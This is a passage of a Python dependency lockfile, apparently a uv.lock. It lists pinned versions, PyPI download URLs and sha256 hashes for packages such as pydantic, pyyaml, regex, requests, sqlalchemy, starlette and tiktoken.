562 | { url = "https://files.pythonhosted.org/packages/46/88/b01ed2291aae68b708f7d334288ad5fb3e7aa769a9c309c91a0d55cb91b0/protobuf-5.29.4-cp38-abi3-manylinux2014_x86_64.whl", hash = "sha256:d7d3f7d1d5a66ed4942d4fefb12ac4b14a29028b209d4bfb25c68ae172059922", size = 319672 },
563 | { url = "https://files.pythonhosted.org/packages/12/fb/a586e0c973c95502e054ac5f81f88394f24ccc7982dac19c515acd9e2c93/protobuf-5.29.4-py3-none-any.whl", hash = "sha256:3fde11b505e1597f71b875ef2fc52062b6a9740e5f7c8997ce878b6009145862", size = 172551 },
564 | ]
565 |
566 | [[package]]
567 | name = "pyasn1"
568 | version = "0.6.1"
569 | source = { registry = "https://pypi.org/simple" }
570 | sdist = { url = "https://files.pythonhosted.org/packages/ba/e9/01f1a64245b89f039897cb0130016d79f77d52669aae6ee7b159a6c4c018/pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034", size = 145322 }
571 | wheels = [
572 | { url = "https://files.pythonhosted.org/packages/c8/f1/d6a797abb14f6283c0ddff96bbdd46937f64122b8c925cab503dd37f8214/pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629", size = 83135 },
573 | ]
574 |
575 | [[package]]
576 | name = "pyasn1-modules"
577 | version = "0.4.2"
578 | source = { registry = "https://pypi.org/simple" }
579 | dependencies = [
580 | { name = "pyasn1" },
581 | ]
582 | sdist = { url = "https://files.pythonhosted.org/packages/e9/e6/78ebbb10a8c8e4b61a59249394a4a594c1a7af95593dc933a349c8d00964/pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6", size = 307892 }
583 | wheels = [
584 | { url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", size = 181259 },
585 | ]
586 |
587 | [[package]]
588 | name = "pycparser"
589 | version = "2.22"
590 | source = { registry = "https://pypi.org/simple" }
591 | sdist = { url = "https://files.pythonhosted.org/packages/1d/b2/31537cf4b1ca988837256c910a668b553fceb8f069bedc4b1c826024b52c/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6", size = 172736 }
592 | wheels = [
593 | { url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552 },
594 | ]
595 |
596 | [[package]]
597 | name = "pydantic"
598 | version = "2.11.3"
599 | source = { registry = "https://pypi.org/simple" }
600 | dependencies = [
601 | { name = "annotated-types" },
602 | { name = "pydantic-core" },
603 | { name = "typing-extensions" },
604 | { name = "typing-inspection" },
605 | ]
606 | sdist = { url = "https://files.pythonhosted.org/packages/10/2e/ca897f093ee6c5f3b0bee123ee4465c50e75431c3d5b6a3b44a47134e891/pydantic-2.11.3.tar.gz", hash = "sha256:7471657138c16adad9322fe3070c0116dd6c3ad8d649300e3cbdfe91f4db4ec3", size = 785513 }
607 | wheels = [
608 | { url = "https://files.pythonhosted.org/packages/b0/1d/407b29780a289868ed696d1616f4aad49d6388e5a77f567dcd2629dcd7b8/pydantic-2.11.3-py3-none-any.whl", hash = "sha256:a082753436a07f9ba1289c6ffa01cd93db3548776088aa917cc43b63f68fa60f", size = 443591 },
609 | ]
610 |
611 | [[package]]
612 | name = "pydantic-core"
613 | version = "2.33.1"
614 | source = { registry = "https://pypi.org/simple" }
615 | dependencies = [
616 | { name = "typing-extensions" },
617 | ]
618 | sdist = { url = "https://files.pythonhosted.org/packages/17/19/ed6a078a5287aea7922de6841ef4c06157931622c89c2a47940837b5eecd/pydantic_core-2.33.1.tar.gz", hash = "sha256:bcc9c6fdb0ced789245b02b7d6603e17d1563064ddcfc36f046b61c0c05dd9df", size = 434395 }
619 | wheels = [
620 | { url = "https://files.pythonhosted.org/packages/7a/24/eed3466a4308d79155f1cdd5c7432c80ddcc4530ba8623b79d5ced021641/pydantic_core-2.33.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:70af6a21237b53d1fe7b9325b20e65cbf2f0a848cf77bed492b029139701e66a", size = 2033551 },
621 | { url = "https://files.pythonhosted.org/packages/ab/14/df54b1a0bc9b6ded9b758b73139d2c11b4e8eb43e8ab9c5847c0a2913ada/pydantic_core-2.33.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:282b3fe1bbbe5ae35224a0dbd05aed9ccabccd241e8e6b60370484234b456266", size = 1852785 },
622 | { url = "https://files.pythonhosted.org/packages/fa/96/e275f15ff3d34bb04b0125d9bc8848bf69f25d784d92a63676112451bfb9/pydantic_core-2.33.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4b315e596282bbb5822d0c7ee9d255595bd7506d1cb20c2911a4da0b970187d3", size = 1897758 },
623 | { url = "https://files.pythonhosted.org/packages/b7/d8/96bc536e975b69e3a924b507d2a19aedbf50b24e08c80fb00e35f9baaed8/pydantic_core-2.33.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1dfae24cf9921875ca0ca6a8ecb4bb2f13c855794ed0d468d6abbec6e6dcd44a", size = 1986109 },
624 | { url = "https://files.pythonhosted.org/packages/90/72/ab58e43ce7e900b88cb571ed057b2fcd0e95b708a2e0bed475b10130393e/pydantic_core-2.33.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6dd8ecfde08d8bfadaea669e83c63939af76f4cf5538a72597016edfa3fad516", size = 2129159 },
625 | { url = "https://files.pythonhosted.org/packages/dc/3f/52d85781406886c6870ac995ec0ba7ccc028b530b0798c9080531b409fdb/pydantic_core-2.33.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2f593494876eae852dc98c43c6f260f45abdbfeec9e4324e31a481d948214764", size = 2680222 },
626 | { url = "https://files.pythonhosted.org/packages/f4/56/6e2ef42f363a0eec0fd92f74a91e0ac48cd2e49b695aac1509ad81eee86a/pydantic_core-2.33.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:948b73114f47fd7016088e5186d13faf5e1b2fe83f5e320e371f035557fd264d", size = 2006980 },
627 | { url = "https://files.pythonhosted.org/packages/4c/c0/604536c4379cc78359f9ee0aa319f4aedf6b652ec2854953f5a14fc38c5a/pydantic_core-2.33.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e11f3864eb516af21b01e25fac915a82e9ddad3bb0fb9e95a246067398b435a4", size = 2120840 },
628 | { url = "https://files.pythonhosted.org/packages/1f/46/9eb764814f508f0edfb291a0f75d10854d78113fa13900ce13729aaec3ae/pydantic_core-2.33.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:549150be302428b56fdad0c23c2741dcdb5572413776826c965619a25d9c6bde", size = 2072518 },
629 | { url = "https://files.pythonhosted.org/packages/42/e3/fb6b2a732b82d1666fa6bf53e3627867ea3131c5f39f98ce92141e3e3dc1/pydantic_core-2.33.1-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:495bc156026efafd9ef2d82372bd38afce78ddd82bf28ef5276c469e57c0c83e", size = 2248025 },
630 | { url = "https://files.pythonhosted.org/packages/5c/9d/fbe8fe9d1aa4dac88723f10a921bc7418bd3378a567cb5e21193a3c48b43/pydantic_core-2.33.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:ec79de2a8680b1a67a07490bddf9636d5c2fab609ba8c57597e855fa5fa4dacd", size = 2254991 },
631 | { url = "https://files.pythonhosted.org/packages/aa/99/07e2237b8a66438d9b26482332cda99a9acccb58d284af7bc7c946a42fd3/pydantic_core-2.33.1-cp313-cp313-win32.whl", hash = "sha256:ee12a7be1742f81b8a65b36c6921022301d466b82d80315d215c4c691724986f", size = 1915262 },
632 | { url = "https://files.pythonhosted.org/packages/8a/f4/e457a7849beeed1e5defbcf5051c6f7b3c91a0624dd31543a64fc9adcf52/pydantic_core-2.33.1-cp313-cp313-win_amd64.whl", hash = "sha256:ede9b407e39949d2afc46385ce6bd6e11588660c26f80576c11c958e6647bc40", size = 1956626 },
633 | { url = "https://files.pythonhosted.org/packages/20/d0/e8d567a7cff7b04e017ae164d98011f1e1894269fe8e90ea187a3cbfb562/pydantic_core-2.33.1-cp313-cp313-win_arm64.whl", hash = "sha256:aa687a23d4b7871a00e03ca96a09cad0f28f443690d300500603bd0adba4b523", size = 1909590 },
634 | { url = "https://files.pythonhosted.org/packages/ef/fd/24ea4302d7a527d672c5be06e17df16aabfb4e9fdc6e0b345c21580f3d2a/pydantic_core-2.33.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:401d7b76e1000d0dd5538e6381d28febdcacb097c8d340dde7d7fc6e13e9f95d", size = 1812963 },
635 | { url = "https://files.pythonhosted.org/packages/5f/95/4fbc2ecdeb5c1c53f1175a32d870250194eb2fdf6291b795ab08c8646d5d/pydantic_core-2.33.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7aeb055a42d734c0255c9e489ac67e75397d59c6fbe60d155851e9782f276a9c", size = 1986896 },
636 | { url = "https://files.pythonhosted.org/packages/71/ae/fe31e7f4a62431222d8f65a3bd02e3fa7e6026d154a00818e6d30520ea77/pydantic_core-2.33.1-cp313-cp313t-win_amd64.whl", hash = "sha256:338ea9b73e6e109f15ab439e62cb3b78aa752c7fd9536794112e14bee02c8d18", size = 1931810 },
637 | ]
638 |
639 | [[package]]
640 | name = "pydantic-settings"
641 | version = "2.8.1"
642 | source = { registry = "https://pypi.org/simple" }
643 | dependencies = [
644 | { name = "pydantic" },
645 | { name = "python-dotenv" },
646 | ]
647 | sdist = { url = "https://files.pythonhosted.org/packages/88/82/c79424d7d8c29b994fb01d277da57b0a9b09cc03c3ff875f9bd8a86b2145/pydantic_settings-2.8.1.tar.gz", hash = "sha256:d5c663dfbe9db9d5e1c646b2e161da12f0d734d422ee56f567d0ea2cee4e8585", size = 83550 }
648 | wheels = [
649 | { url = "https://files.pythonhosted.org/packages/0b/53/a64f03044927dc47aafe029c42a5b7aabc38dfb813475e0e1bf71c4a59d0/pydantic_settings-2.8.1-py3-none-any.whl", hash = "sha256:81942d5ac3d905f7f3ee1a70df5dfb62d5569c12f51a5a647defc1c3d9ee2e9c", size = 30839 },
650 | ]
651 |
652 | [[package]]
653 | name = "python-dotenv"
654 | version = "1.1.0"
655 | source = { registry = "https://pypi.org/simple" }
656 | sdist = { url = "https://files.pythonhosted.org/packages/88/2c/7bb1416c5620485aa793f2de31d3df393d3686aa8a8506d11e10e13c5baf/python_dotenv-1.1.0.tar.gz", hash = "sha256:41f90bc6f5f177fb41f53e87666db362025010eb28f60a01c9143bfa33a2b2d5", size = 39920 }
657 | wheels = [
658 | { url = "https://files.pythonhosted.org/packages/1e/18/98a99ad95133c6a6e2005fe89faedf294a748bd5dc803008059409ac9b1e/python_dotenv-1.1.0-py3-none-any.whl", hash = "sha256:d7c01d9e2293916c18baf562d95698754b0dbbb5e74d457c45d4f6561fb9d55d", size = 20256 },
659 | ]
660 |
661 | [[package]]
662 | name = "pyyaml"
663 | version = "6.0.2"
664 | source = { registry = "https://pypi.org/simple" }
665 | sdist = { url = "https://files.pythonhosted.org/packages/54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e", size = 130631 }
666 | wheels = [
667 | { url = "https://files.pythonhosted.org/packages/ef/e3/3af305b830494fa85d95f6d95ef7fa73f2ee1cc8ef5b495c7c3269fb835f/PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba", size = 181309 },
668 | { url = "https://files.pythonhosted.org/packages/45/9f/3b1c20a0b7a3200524eb0076cc027a970d320bd3a6592873c85c92a08731/PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1", size = 171679 },
669 | { url = "https://files.pythonhosted.org/packages/7c/9a/337322f27005c33bcb656c655fa78325b730324c78620e8328ae28b64d0c/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133", size = 733428 },
670 | { url = "https://files.pythonhosted.org/packages/a3/69/864fbe19e6c18ea3cc196cbe5d392175b4cf3d5d0ac1403ec3f2d237ebb5/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484", size = 763361 },
671 | { url = "https://files.pythonhosted.org/packages/04/24/b7721e4845c2f162d26f50521b825fb061bc0a5afcf9a386840f23ea19fa/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5", size = 759523 },
672 | { url = "https://files.pythonhosted.org/packages/2b/b2/e3234f59ba06559c6ff63c4e10baea10e5e7df868092bf9ab40e5b9c56b6/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc", size = 726660 },
673 | { url = "https://files.pythonhosted.org/packages/fe/0f/25911a9f080464c59fab9027482f822b86bf0608957a5fcc6eaac85aa515/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652", size = 751597 },
674 | { url = "https://files.pythonhosted.org/packages/14/0d/e2c3b43bbce3cf6bd97c840b46088a3031085179e596d4929729d8d68270/PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183", size = 140527 },
675 | { url = "https://files.pythonhosted.org/packages/fa/de/02b54f42487e3d3c6efb3f89428677074ca7bf43aae402517bc7cca949f3/PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563", size = 156446 },
676 | ]
677 |
678 | [[package]]
679 | name = "regex"
680 | version = "2024.11.6"
681 | source = { registry = "https://pypi.org/simple" }
682 | sdist = { url = "https://files.pythonhosted.org/packages/8e/5f/bd69653fbfb76cf8604468d3b4ec4c403197144c7bfe0e6a5fc9e02a07cb/regex-2024.11.6.tar.gz", hash = "sha256:7ab159b063c52a0333c884e4679f8d7a85112ee3078fe3d9004b2dd875585519", size = 399494 }
683 | wheels = [
684 | { url = "https://files.pythonhosted.org/packages/90/73/bcb0e36614601016552fa9344544a3a2ae1809dc1401b100eab02e772e1f/regex-2024.11.6-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a6ba92c0bcdf96cbf43a12c717eae4bc98325ca3730f6b130ffa2e3c3c723d84", size = 483525 },
685 | { url = "https://files.pythonhosted.org/packages/0f/3f/f1a082a46b31e25291d830b369b6b0c5576a6f7fb89d3053a354c24b8a83/regex-2024.11.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:525eab0b789891ac3be914d36893bdf972d483fe66551f79d3e27146191a37d4", size = 288324 },
686 | { url = "https://files.pythonhosted.org/packages/09/c9/4e68181a4a652fb3ef5099e077faf4fd2a694ea6e0f806a7737aff9e758a/regex-2024.11.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:086a27a0b4ca227941700e0b31425e7a28ef1ae8e5e05a33826e17e47fbfdba0", size = 284617 },
687 | { url = "https://files.pythonhosted.org/packages/fc/fd/37868b75eaf63843165f1d2122ca6cb94bfc0271e4428cf58c0616786dce/regex-2024.11.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bde01f35767c4a7899b7eb6e823b125a64de314a8ee9791367c9a34d56af18d0", size = 795023 },
688 | { url = "https://files.pythonhosted.org/packages/c4/7c/d4cd9c528502a3dedb5c13c146e7a7a539a3853dc20209c8e75d9ba9d1b2/regex-2024.11.6-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b583904576650166b3d920d2bcce13971f6f9e9a396c673187f49811b2769dc7", size = 833072 },
689 | { url = "https://files.pythonhosted.org/packages/4f/db/46f563a08f969159c5a0f0e722260568425363bea43bb7ae370becb66a67/regex-2024.11.6-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1c4de13f06a0d54fa0d5ab1b7138bfa0d883220965a29616e3ea61b35d5f5fc7", size = 823130 },
690 | { url = "https://files.pythonhosted.org/packages/db/60/1eeca2074f5b87df394fccaa432ae3fc06c9c9bfa97c5051aed70e6e00c2/regex-2024.11.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3cde6e9f2580eb1665965ce9bf17ff4952f34f5b126beb509fee8f4e994f143c", size = 796857 },
691 | { url = "https://files.pythonhosted.org/packages/10/db/ac718a08fcee981554d2f7bb8402f1faa7e868c1345c16ab1ebec54b0d7b/regex-2024.11.6-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d7f453dca13f40a02b79636a339c5b62b670141e63efd511d3f8f73fba162b3", size = 784006 },
692 | { url = "https://files.pythonhosted.org/packages/c2/41/7da3fe70216cea93144bf12da2b87367590bcf07db97604edeea55dac9ad/regex-2024.11.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:59dfe1ed21aea057a65c6b586afd2a945de04fc7db3de0a6e3ed5397ad491b07", size = 781650 },
693 | { url = "https://files.pythonhosted.org/packages/a7/d5/880921ee4eec393a4752e6ab9f0fe28009435417c3102fc413f3fe81c4e5/regex-2024.11.6-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b97c1e0bd37c5cd7902e65f410779d39eeda155800b65fc4d04cc432efa9bc6e", size = 789545 },
694 | { url = "https://files.pythonhosted.org/packages/dc/96/53770115e507081122beca8899ab7f5ae28ae790bfcc82b5e38976df6a77/regex-2024.11.6-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f9d1e379028e0fc2ae3654bac3cbbef81bf3fd571272a42d56c24007979bafb6", size = 853045 },
695 | { url = "https://files.pythonhosted.org/packages/31/d3/1372add5251cc2d44b451bd94f43b2ec78e15a6e82bff6a290ef9fd8f00a/regex-2024.11.6-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:13291b39131e2d002a7940fb176e120bec5145f3aeb7621be6534e46251912c4", size = 860182 },
696 | { url = "https://files.pythonhosted.org/packages/ed/e3/c446a64984ea9f69982ba1a69d4658d5014bc7a0ea468a07e1a1265db6e2/regex-2024.11.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f51f88c126370dcec4908576c5a627220da6c09d0bff31cfa89f2523843316d", size = 787733 },
697 | { url = "https://files.pythonhosted.org/packages/2b/f1/e40c8373e3480e4f29f2692bd21b3e05f296d3afebc7e5dcf21b9756ca1c/regex-2024.11.6-cp313-cp313-win32.whl", hash = "sha256:63b13cfd72e9601125027202cad74995ab26921d8cd935c25f09c630436348ff", size = 262122 },
698 | { url = "https://files.pythonhosted.org/packages/45/94/bc295babb3062a731f52621cdc992d123111282e291abaf23faa413443ea/regex-2024.11.6-cp313-cp313-win_amd64.whl", hash = "sha256:2b3361af3198667e99927da8b84c1b010752fa4b1115ee30beaa332cabc3ef1a", size = 273545 },
699 | ]
700 |
701 | [[package]]
702 | name = "requests"
703 | version = "2.32.3"
704 | source = { registry = "https://pypi.org/simple" }
705 | dependencies = [
706 | { name = "certifi" },
707 | { name = "charset-normalizer" },
708 | { name = "idna" },
709 | { name = "urllib3" },
710 | ]
711 | sdist = { url = "https://files.pythonhosted.org/packages/63/70/2bf7780ad2d390a8d301ad0b550f1581eadbd9a20f896afe06353c2a2913/requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760", size = 131218 }
712 | wheels = [
713 | { url = "https://files.pythonhosted.org/packages/f9/9b/335f9764261e915ed497fcdeb11df5dfd6f7bf257d4a6a2a686d80da4d54/requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6", size = 64928 },
714 | ]
715 |
716 | [[package]]
717 | name = "requests-toolbelt"
718 | version = "1.0.0"
719 | source = { registry = "https://pypi.org/simple" }
720 | dependencies = [
721 | { name = "requests" },
722 | ]
723 | sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888 }
724 | wheels = [
725 | { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481 },
726 | ]
727 |
728 | [[package]]
729 | name = "rsa"
730 | version = "4.9.1"
731 | source = { registry = "https://pypi.org/simple" }
732 | dependencies = [
733 | { name = "pyasn1" },
734 | ]
735 | sdist = { url = "https://files.pythonhosted.org/packages/da/8a/22b7beea3ee0d44b1916c0c1cb0ee3af23b700b6da9f04991899d0c555d4/rsa-4.9.1.tar.gz", hash = "sha256:e7bdbfdb5497da4c07dfd35530e1a902659db6ff241e39d9953cad06ebd0ae75", size = 29034 }
736 | wheels = [
737 | { url = "https://files.pythonhosted.org/packages/64/8d/0133e4eb4beed9e425d9a98ed6e081a55d195481b7632472be1af08d2f6b/rsa-4.9.1-py3-none-any.whl", hash = "sha256:68635866661c6836b8d39430f97a996acbd61bfa49406748ea243539fe239762", size = 34696 },
738 | ]
739 |
740 | [[package]]
741 | name = "sniffio"
742 | version = "1.3.1"
743 | source = { registry = "https://pypi.org/simple" }
744 | sdist = { url = "https://files.pythonhosted.org/packages/a2/87/a6771e1546d97e7e041b6ae58d80074f81b7d5121207425c964ddf5cfdbd/sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc", size = 20372 }
745 | wheels = [
746 | { url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235 },
747 | ]
748 |
749 | [[package]]
750 | name = "sqlalchemy"
751 | version = "2.0.40"
752 | source = { registry = "https://pypi.org/simple" }
753 | dependencies = [
754 | { name = "greenlet", marker = "(python_full_version < '3.14' and platform_machine == 'AMD64') or (python_full_version < '3.14' and platform_machine == 'WIN32') or (python_full_version < '3.14' and platform_machine == 'aarch64') or (python_full_version < '3.14' and platform_machine == 'amd64') or (python_full_version < '3.14' and platform_machine == 'ppc64le') or (python_full_version < '3.14' and platform_machine == 'win32') or (python_full_version < '3.14' and platform_machine == 'x86_64')" },
755 | { name = "typing-extensions" },
756 | ]
757 | sdist = { url = "https://files.pythonhosted.org/packages/68/c3/3f2bfa5e4dcd9938405fe2fab5b6ab94a9248a4f9536ea2fd497da20525f/sqlalchemy-2.0.40.tar.gz", hash = "sha256:d827099289c64589418ebbcaead0145cd19f4e3e8a93919a0100247af245fa00", size = 9664299 }
758 | wheels = [
759 | { url = "https://files.pythonhosted.org/packages/8c/18/4e3a86cc0232377bc48c373a9ba6a1b3fb79ba32dbb4eda0b357f5a2c59d/sqlalchemy-2.0.40-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:915866fd50dd868fdcc18d61d8258db1bf9ed7fbd6dfec960ba43365952f3b01", size = 2107887 },
760 | { url = "https://files.pythonhosted.org/packages/cb/60/9fa692b1d2ffc4cbd5f47753731fd332afed30137115d862d6e9a1e962c7/sqlalchemy-2.0.40-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4a4c5a2905a9ccdc67a8963e24abd2f7afcd4348829412483695c59e0af9a705", size = 2098367 },
761 | { url = "https://files.pythonhosted.org/packages/4c/9f/84b78357ca641714a439eb3fbbddb17297dacfa05d951dbf24f28d7b5c08/sqlalchemy-2.0.40-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55028d7a3ebdf7ace492fab9895cbc5270153f75442a0472d8516e03159ab364", size = 3184806 },
762 | { url = "https://files.pythonhosted.org/packages/4b/7d/e06164161b6bfce04c01bfa01518a20cccbd4100d5c951e5a7422189191a/sqlalchemy-2.0.40-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6cfedff6878b0e0d1d0a50666a817ecd85051d12d56b43d9d425455e608b5ba0", size = 3198131 },
763 | { url = "https://files.pythonhosted.org/packages/6d/51/354af20da42d7ec7b5c9de99edafbb7663a1d75686d1999ceb2c15811302/sqlalchemy-2.0.40-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bb19e30fdae77d357ce92192a3504579abe48a66877f476880238a962e5b96db", size = 3131364 },
764 | { url = "https://files.pythonhosted.org/packages/7a/2f/48a41ff4e6e10549d83fcc551ab85c268bde7c03cf77afb36303c6594d11/sqlalchemy-2.0.40-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:16d325ea898f74b26ffcd1cf8c593b0beed8714f0317df2bed0d8d1de05a8f26", size = 3159482 },
765 | { url = "https://files.pythonhosted.org/packages/33/ac/e5e0a807163652a35be878c0ad5cfd8b1d29605edcadfb5df3c512cdf9f3/sqlalchemy-2.0.40-cp313-cp313-win32.whl", hash = "sha256:a669cbe5be3c63f75bcbee0b266779706f1a54bcb1000f302685b87d1b8c1500", size = 2080704 },
766 | { url = "https://files.pythonhosted.org/packages/1c/cb/f38c61f7f2fd4d10494c1c135ff6a6ddb63508d0b47bccccd93670637309/sqlalchemy-2.0.40-cp313-cp313-win_amd64.whl", hash = "sha256:641ee2e0834812d657862f3a7de95e0048bdcb6c55496f39c6fa3d435f6ac6ad", size = 2104564 },
767 | { url = "https://files.pythonhosted.org/packages/d1/7c/5fc8e802e7506fe8b55a03a2e1dab156eae205c91bee46305755e086d2e2/sqlalchemy-2.0.40-py3-none-any.whl", hash = "sha256:32587e2e1e359276957e6fe5dad089758bc042a971a8a09ae8ecf7a8fe23d07a", size = 1903894 },
768 | ]
769 |
770 | [[package]]
771 | name = "starlette"
772 | version = "0.46.2"
773 | source = { registry = "https://pypi.org/simple" }
774 | dependencies = [
775 | { name = "anyio" },
776 | ]
777 | sdist = { url = "https://files.pythonhosted.org/packages/ce/20/08dfcd9c983f6a6f4a1000d934b9e6d626cff8d2eeb77a89a68eef20a2b7/starlette-0.46.2.tar.gz", hash = "sha256:7f7361f34eed179294600af672f565727419830b54b7b084efe44bb82d2fccd5", size = 2580846 }
778 | wheels = [
779 | { url = "https://files.pythonhosted.org/packages/8b/0c/9d30a4ebeb6db2b25a841afbb80f6ef9a854fc3b41be131d249a977b4959/starlette-0.46.2-py3-none-any.whl", hash = "sha256:595633ce89f8ffa71a015caed34a5b2dc1c0cdb3f0f1fbd1e69339cf2abeec35", size = 72037 },
780 | ]
781 |
782 | [[package]]
783 | name = "tenacity"
784 | version = "9.1.2"
785 | source = { registry = "https://pypi.org/simple" }
786 | sdist = { url = "https://files.pythonhosted.org/packages/0a/d4/2b0cd0fe285e14b36db076e78c93766ff1d529d70408bd1d2a5a84f1d929/tenacity-9.1.2.tar.gz", hash = "sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb", size = 48036 }
787 | wheels = [
788 | { url = "https://files.pythonhosted.org/packages/e5/30/643397144bfbfec6f6ef821f36f33e57d35946c44a2352d3c9f0ae847619/tenacity-9.1.2-py3-none-any.whl", hash = "sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138", size = 28248 },
789 | ]
790 |
791 | [[package]]
792 | name = "tiktoken"
793 | version = "0.9.0"
794 | source = { registry = "https://pypi.org/simple" }
795 | dependencies = [
796 | { name = "regex" },
797 | { name = "requests" },
798 | ]
799 | sdist = { url = "https://files.pythonhosted.org/packages/ea/cf/756fedf6981e82897f2d570dd25fa597eb3f4459068ae0572d7e888cfd6f/tiktoken-0.9.0.tar.gz", hash = "sha256:d02a5ca6a938e0490e1ff957bc48c8b078c88cb83977be1625b1fd8aac792c5d", size = 35991 }
800 | wheels = [
